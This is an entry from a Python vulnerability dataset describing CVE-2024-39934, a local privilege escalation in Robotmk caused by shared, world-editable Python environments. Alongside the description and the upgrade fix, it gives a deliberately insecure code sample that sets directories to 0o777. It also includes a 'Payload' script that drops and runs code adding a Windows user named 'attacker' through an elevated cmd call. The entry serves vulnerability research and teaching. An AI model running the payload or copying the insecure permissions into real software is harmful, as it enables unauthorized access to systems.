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CVE-2024-39934

Local privilege escalation due to insecure Python environment setup.

  • CVSS 7.8
  • CWE-284
  • Configuration Issues
  • Local

Robotmk before 2.0.1 allows a local user to escalate privileges (e.g., to SYSTEM) if automated Python environment setup is enabled, because the "shared holotree usage" feature allows any user to edit any Python environment.

CVSS base score
7.8
Published
2024-07-04
OWASP
A05 Security Misconfiguration
Orthogonal defect classification
Interface
Code defect classification
Incorrect Interface
Category
Configuration Issues
Subcategory
Privilege Escalation
Accessibility scope
Local
Impact
Privilege Escalation
Affected component
Robotmk

Solution

Upgrade to Robotmk version 2.0.1 or later to mitigate the privilege escalation vulnerability.

Vulnerable code sample

import os

def create_shared_environment(env_path):
    os.makedirs(env_path, exist_ok=True)
    os.chmod(env_path, 0o777)

create_shared_environment('/path/to/shared/python/environment')

Patched code sample

import os

def create_shared_environment(env_path):
    if not os.path.commonpath([env_path, '/trusted/base/path']) == '/trusted/base/path':
        raise ValueError("The specified path is outside the allowed base path")
    
    os.makedirs(env_path, exist_ok=True)
    os.chmod(env_path, 0o755)

create_shared_environment('/path/to/shared/python/environment')

Payload

import os

# Example payload to create a malicious script in the shared environment
malicious_script = """
import os
import ctypes

# Code to escalate privileges
def escalate_privileges():
    ctypes.windll.shell32.ShellExecuteW(None, "runas", "cmd.exe", "/c net user attacker MySecurePassword /add", None, 1)

escalate_privileges()
"""

# Write the malicious script to the shared environment
with open('/path/to/shared/python/environment/malicious_script.py', 'w') as f:
    f.write(malicious_script)

# Execute the malicious script
os.system('python /path/to/shared/python/environment/malicious_script.py')

Cite this entry

@misc{vaitp:cve202439934,
  title        = {{Local privilege escalation due to insecure Python environment setup.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-39934},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-39934/}}
}
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